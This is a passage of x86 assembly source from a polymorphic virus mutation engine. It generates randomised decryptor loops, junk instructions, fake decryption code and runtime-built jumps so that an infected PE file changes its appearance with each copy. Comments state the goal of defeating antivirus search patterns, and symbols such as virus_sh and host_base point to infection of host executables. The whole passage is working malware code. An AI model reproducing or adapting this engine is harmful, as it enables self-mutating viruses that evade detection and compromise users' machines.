mov esi,eax
push edi
lea edi,dword ptr [ebp+perform_crypt]
loop_string: lodsb
cmp al,MAGIC_ENDSTR
je end_of_magic
cmp al,MAGIC_ENDKEY
je last_spell
xor ecx,ecx
mov cl,al
rep movsb
jmp short loop_string
last_spell: call copy_key
end_of_magic: mov al,0C3h
stosb
pop edi
ret
;============================================================================
;Copy encryption key into work buffer taking care about operand size
;============================================================================
copy_key: mov eax,dword ptr [ebp+fake_crypt_key]
movzx ecx,byte ptr [ebp+fake_oper_size]
loop_key: stosb
shr eax,08h
loop loop_key
ret
;============================================================================
;Generate decryptor action: Move index to next step
;============================================================================
;============================================================
;Get number of bytes to inc or dec the index reg
;============================================================
gen_next_step: movzx ecx,byte ptr [ebp+oper_size]
;============================================================
;Get number of bytes to update with this instruction
;============================================================
loop_update: mov eax,ecx
call get_rnd_range
inc eax
;============================================================
;Check direction
;============================================================
test byte ptr [ebp+build_flags],CRYPT_DIRECTION
jnz step_down
call do_step_up
jmp short next_update
step_down: call do_step_down
next_update: sub ecx,eax
call GenGarbageEx
jecxz end_update
jmp short loop_update
end_update: ret
;============================================================
;Move index_reg up
;============================================================
do_step_up: push eax
mov eax,NumIdxUp
call get_rnd_range
lea esi,dword ptr [ebp+tbl_idx_up+eax*04h]
lodsd
add eax,ebp
jmp eax
IdxUpWithADD: mov ax,0C081h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
stosd
ret
IdxUpWithSUB: mov ax,0E881h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
neg eax
stosd
neg eax
ret
IdxUpWithINC: mov al,40h
or al,byte ptr [ebp+index_mask]
stosb
pop eax
mov eax,000000001h
ret
IdxUpADDADD: call save_it_ADD
push eax
mov ax,0C081h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
pop edx
sub eax,edx
neg eax
stosd
mov eax,edx
ret
IdxUpADDSUB: call save_it_ADD
push eax
mov ax,0E881h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
pop edx
sub eax,edx
stosd
mov eax,edx
ret
IdxUpSUBSUB: call save_it_SUB
push eax
mov ax,0E881h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
pop edx
add eax,edx
neg eax
stosd
mov eax,edx
ret
IdxUpSUBADD: call save_it_SUB
push eax
mov ax,0C081h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
pop edx
add eax,edx
stosd
mov eax,edx
ret
;============================================================
;Move index_reg down
;============================================================
do_step_down: push eax
mov eax,NumIdxDown
call get_rnd_range
lea esi,dword ptr [ebp+tbl_idx_down+eax*04h]
lodsd
add eax,ebp
jmp eax
IdxDownWithADD: mov ax,0C081h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
neg eax
stosd
neg eax
ret
IdxDownWithSUB: mov ax,0E881h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
stosd
ret
IdxDownWithDEC: mov al,48h
or al,byte ptr [ebp+index_mask]
stosb
pop eax
mov eax,00000001h
ret
IdxDownADDADD: call save_it_ADD
push eax
mov ax,0C081h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
pop edx
sub eax,edx
neg eax
stosd
mov eax,edx
ret
IdxDownADDSUB: call save_it_ADD
push eax
mov ax,0E881h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
pop edx
sub eax,edx
neg eax
stosd
mov eax,edx
ret
IdxDownSUBSUB: call save_it_SUB
push eax
mov ax,0E881h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
pop edx
add eax,edx
neg eax
stosd
mov eax,edx
ret
IdxDownSUBADD: call save_it_SUB
push eax
mov ax,0C081h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
pop edx
add eax,edx
neg eax
stosd
mov eax,edx
ret
save_it_ADD: call total_save_it
push edx
mov al,03h
stosw
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
call GenGarbageEx
pop eax
ret
save_it_SUB: call total_save_it
push edx
mov al,2Bh
stosw
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
call GenGarbageEx
pop eax
ret
total_save_it: call get_valid_reg
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
mov al,0B8h
or al,byte ptr [ebx+REG_MASK]
stosb
call get_rnd32
stosd
push eax
push ebx
call GenGarbageEx
pop ebx
mov ah,byte ptr [ebp+index_mask]
shl ah,03h
or ah,byte ptr [ebx+REG_MASK]
or ah,0C0h
pop edx
ret
;============================================================================
;Generate decryptor action: Next counter value
;============================================================================
;============================================================
;Check counter direction and update counter
;using a INC or DEC instruction
;============================================================
gen_next_ctr: test byte ptr [ebp+build_flags],CRYPT_CDIR
jnz upd_ctr_down
upd_ctr_up: call get_rnd32
and al,01h
jz CountUpINC
mov al,40h
jmp DoShitWithCtr
CountUpINC: mov al,40h
or al,byte ptr [ebp+counter_mask]
jmp short upd_ctr_ok
upd_ctr_down: call get_rnd32
and al,01h
jz CountUpDEC
mov al,48h
jmp DoShitWithCtr
CountUpDEC: mov al,48h
or al,byte ptr [ebp+counter_mask]
upd_ctr_ok: stosb
ret
DoShitWithCtr: push eax
call get_valid_reg
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
mov ah,byte ptr [ebx+REG_MASK]
shl ah,03h
or ah,byte ptr [ebp+counter_mask]
or ah,0C0h
mov al,8Bh
stosw
push ebx
call GenGarbageEx
pop ebx
pop eax
or al,byte ptr [ebx+REG_MASK]
stosb
push ebx
call GenGarbageEx
pop ebx
mov ah,byte ptr [ebp+counter_mask]
shl ah,03h
or ah,byte ptr [ebx+REG_MASK]
or ah,0C0h
mov al,8Bh
stosw
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
ret
;============================================================================
;Generate decryptor action: Loop
;============================================================================
;============================================================
;Use counter reg in CMP instruction?
;============================================================
gen_loop: test byte ptr [ebp+build_flags],CRYPT_CMPCTR
jnz doloopauxreg
;============================================================
;Generate CMP counter_reg,end_value
;============================================================
mov ax,0F881h
or ah,byte ptr [ebp+counter_mask]
stosw
mov eax,dword ptr [ebp+end_value]
stosd
jmp doloopready
;============================================================
;Get a random valid register to use in a CMP instruction
;============================================================
doloopauxreg: call get_valid_reg
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
;============================================================
;Move index reg value into aux reg
;============================================================
mov ah,byte ptr [ebx+REG_MASK]
shl ah,03h
or ah,byte ptr [ebp+counter_mask]
or ah,0C0h
mov al,8Bh
stosw
;============================================================
;Guess what!?
;============================================================
push ebx
call GenGarbageEx
pop ebx
call get_rnd32
and al,03h
or al,al
jz loop_use_cmp
test al,02h
jz loop_use_sub
;============================================================
;Generate ADD aux_reg,-end_value
;============================================================
loop_use_add: mov ax,0C081h
or ah,byte ptr [ebx+REG_MASK]
stosw
mov eax,dword ptr [ebp+end_value]
neg eax
stosd
jmp short done_loop_use
;============================================================
;Generate CMP aux_reg,end_value
;============================================================
loop_use_cmp: mov ax,0F881h
jmp short loop_mask_here
;============================================================
;Generate SUB aux_reg,end_value
;============================================================
loop_use_sub: mov eax,0E881h
loop_mask_here: or ah,byte ptr [ebx+REG_MASK]
stosw
mov eax,dword ptr [ebp+end_value]
stosd
;============================================================
;Restore aux reg state
;============================================================
done_loop_use: xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
;============================================================
;Generate conditional jump
;============================================================
doloopready: mov eax,NumExitLoop
call get_rnd_range
lea esi,dword ptr [ebp+TblExitLoop+eax*04h]
lodsd
add eax,ebp
jmp eax
TblExitLoop equ $
dd offset doloopup
dd offset doloopdown
dd offset doloopmix
NumExitLoop equ ($-TblExitLoop)/04h
;============================================================
;Generate the following structure:
;
; loop_point:
; ...
; jnz loop_point
; ...
; jmp decrypted-code
;============================================================
doloopup: mov dword ptr [ebp+condition_ptr],edi
mov ax,850Fh
stosw
mov eax,dword ptr [ebp+loop_point]
sub eax,edi
sub eax,00000004h
stosd
call GenGarbageEx
mov esi,dword ptr [ebp+PtrToEP]
call DoComplexCmp
jmp CreateFog
;============================================================
;...or this one:
;
; loop_point:
; ...
; jz decrypted-code
; ...
; jmp loop_point
; ...
;============================================================
doloopdown: mov dword ptr [ebp+condition_ptr],edi
mov ax,840Fh
stosw
mov eax,dword ptr [ebp+PtrToEP]
sub eax,edi
sub eax,00000004h
stosd
call GenGarbageEx
mov esi,dword ptr [ebp+loop_point]
call DoComplexCmp
jmp CreateFog
;============================================================
;Generate the following structure:
;
; loop_point:
; ...
; jnz auxdest
; ...
; jmp decrypted-code
; ...
; auxdest:
; ...
; jmp loop_point
;============================================================
doloopmix: mov dword ptr [ebp+condition_ptr],edi
mov ax,850Fh
stosw
push edi
stosd
call GenGarbageEx
mov esi,dword ptr [ebp+PtrToEP]
call DoComplexCmp
call GenGarbageEx
pop edx
mov eax,edi
sub eax,00000004h
sub eax,edx
mov dword ptr [edx],eax
call GenGarbageEx
mov esi,dword ptr [ebp+loop_point]
call DoComplexCmp
;============================================================
;I notice some AV was using the JZ/JNZ instruction at the
;end of the decryptor in a search pattern... So now im going
;to build it at runtime (sometimes...)
;============================================================
CreateFog: test byte ptr [ebp+build_flags],CRYPT_FOG
jz NoFogRet
mov eax,NumFog
call get_rnd_range
lea esi,dword ptr [ebp+TblDoFog+eax*04h]
lodsd
add eax,ebp
call eax
mov eax,NumFixFog
call get_rnd_range
lea esi,dword ptr [ebp+TblFixFog+eax*04h]
lodsd
mov esi,dword ptr [ebp+condition_ptr]
add eax,ebp
call eax
NoFogRet: ret
;============================================================================
;Prepare pointer to memory into fog block, using ADD
;============================================================================
DoFogAdd: call FogStart
sub eax,dword ptr [ebp+Xrnd1]
push edi
push eax
mov ebx,dword ptr [ebp+XrndReg]
mov edi,dword ptr [ebp+XrndFixPtr]
mov ax,0C081h
or ah,byte ptr [ebx+REG_MASK]
stosw
pop eax
stosd
pop edi
ret
FixFogAdd: push edi
mov edi,dword ptr [ebp+XrndMath]
mov al,81h
mov ah,byte ptr [ebx+REG_MASK]
stosw
call get_rnd32
stosd
sub dword ptr [esi],eax
pop edi
ret
;============================================================================
;Prepare pointer to memory into fog block, using SUB
;============================================================================
DoFogSub: call FogStart
neg eax
add eax,dword ptr [ebp+Xrnd1]
push edi
push eax
mov ebx,dword ptr [ebp+XrndReg]
mov edi,dword ptr [ebp+XrndFixPtr]
mov ax,0E881h
or ah,byte ptr [ebx+REG_MASK]
stosw
pop eax
stosd
pop edi
ret
FixFogSub: push edi
mov edi,dword ptr [ebp+XrndMath]
mov ax,2881h
or ah,byte ptr [ebx+REG_MASK]
stosw
call get_rnd32
stosd
add dword ptr [esi],eax
pop edi
ret
;============================================================================
;Prepare pointer to memory into fog block, using XOR
;============================================================================
DoFogXor: call FogStart
xor eax,dword ptr [ebp+Xrnd1]
push edi
push eax
mov ebx,dword ptr [ebp+XrndReg]
mov edi,dword ptr [ebp+XrndFixPtr]
mov ax,0F081h
or ah,byte ptr [ebx+REG_MASK]
stosw
pop eax
stosd
pop edi
ret
FixFogXor: push edi
mov edi,dword ptr [ebp+XrndMath]
mov ax,3081h
or ah,byte ptr [ebx+REG_MASK]
stosw
call get_rnd32
stosd
xor dword ptr [esi],eax
pop edi
ret
;============================================================================
;Setup fog block
;============================================================================
FogStart: mov esi,dword ptr [ebp+condition_ptr]
mov eax,esi
call FromPoly2Rva
ret
;============================================================================
;Convert a given value in the poly decryptor to its future RVA
;
;On entry:
; eax -> Value to convert
;On exit:
; eax -> Converted value
;============================================================================
FromPoly2Rva: push edx
sub eax,dword ptr [ebp+map_is_here]
add eax,dword ptr [ebp+host_base]
mov edx,dword ptr [ebp+virus_sh]
sub eax,dword ptr [edx+SH_PointerToRawData]
add eax,dword ptr [edx+SH_VirtualAddress]
pop edx
ret
;============================================================================
;Produce complex end determination
;
;On entry:
; esi -> PtrToEP or loop_point
;============================================================================
DoComplexCmp: call get_rnd32
and al,01h
jz JmpEndJmpReg
;============================================================
;Go using JMP imm
;============================================================
JmpEndJmpImm: mov al,0E9h
stosb
mov eax,esi
sub eax,edi
sub eax,00000004h
stosd
ret
;============================================================
;Go using complex escheme
;============================================================
JmpEndJmpReg: push esi
call get_valid_reg
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
mov al,0B8h
or al,byte ptr [ebx+REG_MASK]
stosb
call get_rnd32
stosd
push eax
push ebx
call GenGarbageEx
mov eax,NumJmpEnd
call get_rnd_range
lea esi,dword ptr [ebp+tbl_jmp_end+eax*04h]
lodsd
add eax,ebp
pop ebx
pop edx
pop esi
call eax
push ebx
call GenGarbageEx
pop ebx
call get_rnd32
and al,01h
jz EndUseJmpReg
EndUsePushRet: mov al,50h
or al,byte ptr [ebx+REG_MASK]
stosb
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
call GenGarbageEx
call gen_ret
ret
EndUseJmpReg: mov ax,0E0FFh
or ah,byte ptr [ebx+REG_MASK]
stosw
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
ret
;============================================================================
;Complex end using ADD
;============================================================================
jmpendregadd: mov ax,0C081h
or ah,byte ptr [ebx+REG_MASK]
stosw
call ExtendedEnd
sub eax,edx
stosd
ret
;============================================================================
;Complex end using SUB
;============================================================================
jmpendregsub: mov ax,0E881h
or ah,byte ptr [ebx+REG_MASK]
stosw
call ExtendedEnd
sub eax,edx
neg eax
stosd
ret
;============================================================================
;Complex end using XOR
;============================================================================
jmpendregxor: mov ax,0F081h
or ah,byte ptr [ebx+REG_MASK]
stosw
call ExtendedEnd
xor eax,edx
stosd
ret
;============================================================================
;Complex fixed address
;============================================================================
ExtendedEnd: mov eax,esi
call FromPoly2Rva
ret
;============================================================================
;Generate init garbage
;============================================================================
GenInitGarbage: mov eax,00000005h
call get_rnd_range
or eax,eax
jz ExitInitGarbage
mov ecx,eax
loop_g_i_g: push ecx
mov eax,(end_i_g-tbl_i_g)/04h
call get_rnd_range
lea esi,dword ptr [ebp+tbl_i_g+eax*04h]
lodsd
add eax,ebp
call eax
pop ecx
loop loop_g_i_g
ExitInitGarbage:ret
;============================================================================
;Generate some garbage code
;============================================================================
GenGarbageEx: mov eax,00000004h
jmp short GoDirectToHell
gen_garbage: mov eax,00000002h
GoDirectToHell: push ecx
push esi
inc byte ptr [ebp+recursive_level]
call get_rnd_range
inc eax
inc eax
mov ecx,eax
loop_garbage: push ecx
mov eax,(end_garbage-tbl_garbage)/04h
cmp byte ptr [ebp+recursive_level],06h
jae too_much_shit
cmp byte ptr [ebp+recursive_level],02h
jb ok_gen_num
mov eax,(save_space-tbl_garbage)/04h
ok_gen_num: call get_rnd_range
lea esi,dword ptr [ebp+tbl_garbage+eax*04h]
lodsd
add eax,ebp
call eax
too_much_shit: pop ecx
loop loop_garbage
;============================================================
;Update recursive level
;============================================================
exit_gg: dec byte ptr [ebp+recursive_level]
pop esi
pop ecx
ret
;============================================================================
;Generate MOV reg,imm
;============================================================================
;============================================================
;Generate MOV reg32,imm
;============================================================
g_movreg32imm: call get_valid_reg
mov al,0B8h
or al,byte ptr [ebx+REG_MASK]
stosb
call get_rnd32
stosd
ret
;============================================================
;Generate MOV reg16,imm
;============================================================
g_movreg16imm: call get_valid_reg
mov ax,0B866h
or ah,byte ptr [ebx+REG_MASK]
stosw
call get_rnd32
stosw
ret
;============================================================
;Generate MOV reg8,imm
;============================================================
g_movreg8imm: call get_valid_reg
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_movreg8imm
call get_rnd32
mov al,0B0h
or al,byte ptr [ebx+REG_MASK]
push eax
call get_rnd32
pop edx
and ax,0004h
or ax,dx
stosw
a_movreg8imm: ret
;============================================================================
;Generate mov reg,reg
;============================================================================
g_movregreg32: call get_rnd_reg
push ebx
call get_valid_reg
pop edx
cmp ebx,edx
je a_movregreg32
c_movregreg32: mov al,8Bh
h_movregreg32: mov ah,byte ptr [ebx+REG_MASK]
shl ah,03h
or ah,byte ptr [edx+REG_MASK]
or ah,0C0h
stosw
a_movregreg32: ret
g_movregreg16: call get_rnd_reg
push ebx
call get_valid_reg
pop edx
cmp ebx,edx
je a_movregreg32
mov al,66h
stosb
jmp short c_movregreg32
g_movregreg8: call get_rnd_reg
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_movregreg8
push ebx
call get_valid_reg
pop edx
mov al,8Ah
h_movregreg8: test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_movregreg8
cmp ebx,edx
je a_movregreg8
mov ah,byte ptr [ebx+REG_MASK]
shl ah,03h
or ah,byte ptr [edx+REG_MASK]
or ah,0C0h
push eax
call get_rnd32
pop edx
and ax,2400h
or ax,dx
stosw
a_movregreg8: ret
;============================================================================
;Generate xchg reg,reg
;============================================================================
g_xchgregreg32: call get_valid_reg
push ebx
call get_valid_reg
pop edx
cmp ebx,edx
je a_movregreg32
h_xchgregreg32: mov al,87h
jmp h_movregreg32
g_xchgregreg16: call get_valid_reg
push ebx
call get_valid_reg
pop edx
cmp ebx,edx
je a_movregreg32
mov al,66h
stosb
jmp short h_xchgregreg32
g_xchgregreg8: call get_valid_reg
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_movregreg8
push ebx
call get_valid_reg
pop edx
mov al,86h
jmp h_movregreg8
;============================================================================
;Generate MOVZX/MOVSX reg32,reg16
;============================================================================
g_movzx_movsx: call get_rnd32
mov ah,0B7h
and al,01h
jz d_movzx
mov ah,0BFh
d_movzx: mov al,0Fh
stosw
call get_rnd_reg
push ebx
call get_valid_reg
pop edx
mov al,byte ptr [ebx+REG_MASK]
shl al,03h
or al,0C0h
or al,byte ptr [edx+REG_MASK]
stosb
ret
;============================================================================
;Generate INC reg
;============================================================================
g_inc_reg32: call get_valid_reg
mov al,40h
or al,byte ptr [ebx+REG_MASK]
stosb
ret
g_inc_reg16: mov al,66h
stosb
jmp short g_inc_reg32
g_inc_reg8: call get_valid_reg
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_inc_reg8
call get_rnd32
and ah,04h
or ah,byte ptr [ebx+REG_MASK]
or ah,0C0h
mov al,0FEh
stosw
a_inc_reg8: ret
;============================================================================
;Generate DEC reg
;============================================================================
g_dec_reg32: call get_valid_reg
mov al,48h
or al,byte ptr [ebx+REG_MASK]
stosb
ret
g_dec_reg16: mov al,66h
stosb
jmp short g_dec_reg32
g_dec_reg8: call get_valid_reg
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_dec_reg8
call get_rnd32
and ah,04h
or ah,byte ptr [ebx+REG_MASK]
or ah,0C8h
mov al,0FEh
stosw
a_dec_reg8: ret
;============================================================================
;Generate ADD/SUB/XOR/OR/AND reg,imm
;============================================================================
g_mathregimm32: mov al,81h
stosb
call get_valid_reg
call do_math_work
stosd
ret
g_mathregimm16: mov ax,8166h
stosw
call get_valid_reg
call do_math_work
stosw
ret
g_mathregimm8: call get_valid_reg
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_math8
mov al,80h
stosb
call do_math_work
stosb
and ah,04h
or byte ptr [edi-00000002h],ah
a_math8: ret
do_math_work: mov eax,end_math_imm-tbl_math_imm
call get_rnd_range
lea esi,dword ptr [ebp+eax+tbl_math_imm]
lodsb
or al,byte ptr [ebx+REG_MASK]
stosb
call get_rnd32
ret
;============================================================================
;Generate decryption instructions (real or fake ones)
;============================================================================
;============================================================
;Check if we are going to use a displacement in the
;indexing mode
;============================================================
fake_or_not: mov eax,dword ptr [ebp+fake_ptr_disp]
or eax,eax
jnz more_complex
;============================================================
;Choose generator for [reg] indexing mode
;============================================================
mov edx,offset tbl_idx_reg
call choose_magic
jmp you_got_it
;============================================================
;More fun?!?!
;============================================================
more_complex: mov al,byte ptr [ebp+fake_build_flags]
test al,CRYPT_SIMPLEX
jnz crypt_xtended
;============================================================
;Choose generator for [reg+imm] indexing mode
;============================================================
mov edx,offset tbl_dis_reg
call choose_magic
;============================================================
;Use magic to convert some values into
;desired instructions
;============================================================
you_got_it: call size_correct
mov dl,byte ptr [ebp+fake_index_mask]
lodsb
or al,al
jnz adn_reg_01
cmp dl,00000101b
je adn_reg_02
adn_reg_01: lodsb
or al,dl
stosb
jmp common_part
adn_reg_02: lodsb
add al,45h
xor ah,ah
stosw
jmp common_part
;============================================================
;Choose [reg+reg] or [reg+reg+disp]
;============================================================
crypt_xtended: xor eax,eax
mov dword ptr [ebp+disp2disp],eax ;Clear disp-over-disp
test al,CRYPT_COMPLEX
jz ok_complex
;============================================================
;Get random displacement from current displacement
;eeehh?!?
;============================================================
mov eax,00001000h
call get_rnd_range
mov dword ptr [ebp+disp2disp],eax
call load_aux
push ebx
call GenGarbageEx
;============================================================
;Choose generator for [reg+reg+imm] indexing mode
;============================================================
mov edx,offset tbl_paranoia
call choose_magic
jmp short done_xtended
ok_complex: mov eax,dword ptr [ebp+fake_ptr_disp]
call load_aux
push ebx
call GenGarbageEx
;============================================================
;Choose generator for [reg+reg] indexing mode
;============================================================
mov edx,offset tbl_xtended
call choose_magic
;============================================================
;Build decryptor instructions
;============================================================
done_xtended: call size_correct
pop ebx
mov dl,byte ptr [ebp+fake_index_mask]
lodsb
mov cl,al
or al,al
jnz arn_reg_01
cmp dl,00000101b
jne arn_reg_01
lodsb
add al,40h
stosb
jmp short arn_reg_02
arn_reg_01: movsb
arn_reg_02: mov al,byte ptr [ebx+REG_MASK]
shl al,03h
or al,dl
stosb
or cl,cl
jnz arn_reg_03
cmp dl,00000101b
jne arn_reg_03
xor al,al
stosb
;============================================================
;Restore aux reg state
;============================================================
arn_reg_03: xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
;============================================================
;Get post-build flags
;============================================================
common_part: lodsb
;============================================================
;Insert displacement from real address?
;============================================================
test al,MAGIC_PUTDISP
jz skip_disp
push eax
mov eax,dword ptr [ebp+fake_ptr_disp]
sub eax,dword ptr [ebp+disp2disp]
neg eax
stosd
pop eax
;============================================================
;Insert key?
;============================================================
skip_disp: test al,MAGIC_PUTKEY
jz skip_key
call copy_key
skip_key: ret
;============================================================================
;Choose a magic generator
;============================================================================
choose_magic: mov eax,00000006h
call get_rnd_range
add edx,ebp
lea esi,dword ptr [edx+eax*04h]
lodsd
add eax,ebp
mov esi,eax
ret
;============================================================================
;Do operand size correction
;============================================================================
size_correct: lodsb
mov ah,byte ptr [ebp+fake_oper_size]
cmp ah,01h
je store_correct
inc al
cmp ah,04h
je store_correct
mov ah,66h
xchg ah,al
stosw
ret
store_correct: stosb
ret
;============================================================================
;Load aux reg with displacement
;============================================================================
;============================================================
;Get a valid auxiliary register
;============================================================
load_aux: push eax
call get_valid_reg
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
;============================================================
;Move displacement into aux reg
;============================================================
mov al,0B8h
or al,byte ptr [ebx+REG_MASK]
stosb
pop eax
neg eax
stosd
ret
;============================================================================
;Generate push reg + garbage + pop reg
;============================================================================
g_push_g_pop: call gen_garbage
call get_rnd32
test al,01h
jnz skip_sp_push
call push_with_sp
jmp short from_push
skip_sp_push: call get_rnd_reg
mov al,50h
or al,byte ptr [ebx+REG_MASK]
stosb
call gen_garbage
from_push: call get_rnd32
test al,01h
jz pop_with_sp
call get_valid_reg
mov al,58h
or al,byte ptr [ebx+REG_MASK]
stosb
call gen_garbage
ret
;============================================================================
;Emulate a PUSH instruction, using SUB ESP,00000004h
;============================================================================
push_with_sp: mov eax,0004EC83h
stosd
dec edi
call GenGarbageEx
ret
;============================================================================
;Emulate a POP instruction, using ADD ESP,00000004h
;============================================================================
pop_with_sp: mov eax,0004C483h
stosd
dec edi
call GenGarbageEx
ret
;============================================================================
;Generate RET in different ways
;============================================================================
gen_ret: call get_rnd32
and al,01h
jnz just_ret
call get_valid_reg
mov al,58h
or al,byte ptr [ebx+REG_MASK]
stosb
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
push ebx
call GenGarbageEx
pop ebx
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
mov ax,0E0FFh
or ah,byte ptr [ebx+REG_MASK]
stosw
ret
just_ret: mov al,0C3h
stosb
ret
;============================================================================
;Generate CALL without return
;============================================================================
g_call_cont: mov al,0E8h
stosb
push edi
stosd
call gen_rnd_block
pop edx
mov eax,edi
sub eax,edx
sub eax,00000004h
mov dword ptr [edx],eax
call GenGarbageEx
call get_rnd32
test al,01h
jz pop_with_sp
call get_valid_reg
mov al,58h
or al,byte ptr [ebx+REG_MASK]
stosb
call gen_garbage
ret
;============================================================================
;Generate unconditional jumps
;============================================================================
g_jump_u: mov al,0E9h
stosb
push edi
stosd
call gen_rnd_block
pop edx
mov eax,edi
sub eax,edx
sub eax,00000004h
mov dword ptr [edx],eax
call GenGarbageEx
ret
g_save_jump: mov al,0E9h
stosb
push edi
stosd
call gen_rnd_block
pop edx
mov eax,edi
sub eax,edx
sub eax,00000004h
mov dword ptr [edx],eax
ret
;============================================================================
;Generate conditional jumps
;============================================================================
g_jump_c: call get_rnd32
and ah,0Fh
add ah,80h
mov al,0Fh
stosw
push edi
stosd
call GenGarbageEx
pop edx
mov eax,edi
sub eax,edx
sub eax,00000004h
mov dword ptr [edx],eax
call GenGarbageEx
ret
g_save_jump_c: call get_rnd32
and ah,0Fh
add ah,80h
mov al,0Fh
stosw
xor eax,eax
stosd
ret
;============================================================================
;Generate MOV [mem],reg
;============================================================================
gen_mov_mem8: mov dl,88h
jmp mem8wr
gen_mov_mem16: mov al,66h
stosb
gen_mov_mem32: mov dl,89h
jmp gen_mem_wr
gen_add_mem8: mov dl,00h
jmp mem8wr
gen_add_mem16: mov al,66h
stosb
gen_add_mem32: mov dl,01h
jmp gen_mem_wr
gen_sub_mem8: mov dl,28h
jmp mem8wr
gen_sub_mem16: mov al,66h
stosb
gen_sub_mem32: mov dl,29h
jmp gen_mem_wr
gen_adc_mem8: mov dl,10h
jmp mem8wr
gen_adc_mem16: mov al,66h
stosb
gen_adc_mem32: mov dl,11h
jmp gen_mem_wr
gen_sbb_mem8: mov dl,18h
jmp mem8wr
gen_sbb_mem16: mov al,66h
stosb
gen_sbb_mem32: mov dl,19h
jmp gen_mem_wr
gen_or_mem8: mov dl,08h
jmp mem8wr
gen_or_mem16: mov al,66h
stosb
gen_or_mem32: mov dl,09h
jmp gen_mem_wr
gen_and_mem8: mov dl,20h
jmp mem8wr
gen_and_mem16: mov al,66h
stosb
gen_and_mem32: mov dl,21h
jmp gen_mem_wr
gen_xor_mem8: mov dl,30h
jmp mem8wr
gen_xor_mem16: mov al,66h
stosb
gen_xor_mem32: mov dl,31h
jmp gen_mem_wr
mem8wr: call gen_mem_wr
call get_rnd32
and al,20h
or byte ptr [edi-00000005h],al
ret
gen_mem_wr: call get_rnd_reg
mov ah,byte ptr [ebx+REG_MASK]
or ah,ah
jnz skip_wr_eax
cmp dl,88h
je gen_mem_wr
cmp dl,89h
je gen_mem_wr
skip_wr_eax: shl ah,03h
or ah,05h
mov al,dl
stosw
movzx eax,byte ptr [ebp+NumberOfDataAreas]
call get_rnd_range
lea esi,dword ptr [ebp+tbl_data_area+eax*08h]
lodsd
push eax
lodsd
sub eax,00000004h
call get_rnd_range
pop edx
add eax,edx
stosd
ret
;============================================================================
;Generate clc/stc/cmc/cld/std
;============================================================================
gen_save_code: mov eax,end_save_code-tbl_save_code
call get_rnd_range
mov al,byte ptr [ebp+tbl_save_code+eax]
stosb
ret
;============================================================================
;Generate fake decrypt instructions
;============================================================================
gen_fake_crypt: cmp byte ptr [ebp+recursive_level],03h
jae bad_fake_size
cmp byte ptr [ebp+NumberOfDataAreas],02h
jb bad_fake_size
push dword ptr [ebp+fake_ptr_disp]
push dword ptr [ebp+fake_crypt_key]
mov dl,byte ptr [ebp+fake_build_flags]
mov dh,byte ptr [ebp+fake_index_mask]
shl edx,08h
mov dl,byte ptr [ebp+fake_oper_size]
push edx
call get_rnd32 ;Get encryption key
mov dword ptr [ebp+fake_crypt_key],eax
call get_rnd32 ;Get generation flags
mov byte ptr [ebp+fake_build_flags],al
call get_rnd32 ;Get size of mem operand
and al,03h
cmp al,01h
je ok_fake_size
cmp al,02h
je ok_fake_size
inc al
ok_fake_size: mov byte ptr [ebp+fake_oper_size],al
call get_rnd32 ;Choose displacement
and eax,00000001h
jz ok_fake_disp
call get_rnd32
call get_rnd_range
inc eax
neg eax
ok_fake_disp: mov dword ptr [ebp+fake_ptr_disp],eax
movzx eax,byte ptr [ebp+NumberOfDataAreas]
call get_rnd_range
lea esi,dword ptr [ebp+tbl_data_area+eax*08h]
lodsd
add eax,dword ptr [ebp+fake_ptr_disp]
push eax
lodsd
sub eax,00000004h
call get_rnd_range
pop edx
add eax,edx
push eax
call get_valid_reg
or byte ptr [ebx+REG_FLAGS],REG_IS_INDEX
mov al,byte ptr [ebx+REG_MASK]
mov byte ptr [ebp+fake_index_mask],al
or al,0B8h
stosb
pop eax
stosd
push ebx
call GenGarbageEx ;Garbage
call fake_or_not
call GenGarbageEx ;Garbage
pop ebx
xor byte ptr [ebx+REG_FLAGS],REG_IS_INDEX
pop eax
mov byte ptr [ebp+fake_oper_size],al
shr eax,08h
mov byte ptr [ebp+fake_index_mask],ah
mov byte ptr [ebp+fake_build_flags],al
pop dword ptr [ebp+fake_crypt_key]
pop dword ptr [ebp+fake_ptr_disp]
bad_fake_size: ret
;============================================================================
;Get a ramdom reg
;============================================================================
get_rnd_reg: mov eax,00000007h
call get_rnd_range
lea ebx,dword ptr [ebp+tbl_regs+eax*02h]
ret
;============================================================================
;Get a ramdom reg (avoid REG_READ_ONLY, REG_IS_COUNTER and REG_IS_INDEX)
;============================================================================
get_valid_reg: call get_rnd_reg
mov al,byte ptr [ebx+REG_FLAGS]
and al,REG_IS_INDEX or REG_IS_COUNTER or REG_READ_ONLY
jnz get_valid_reg
ret
;============================================================================
;Load ecx with crypt_size / oper_size
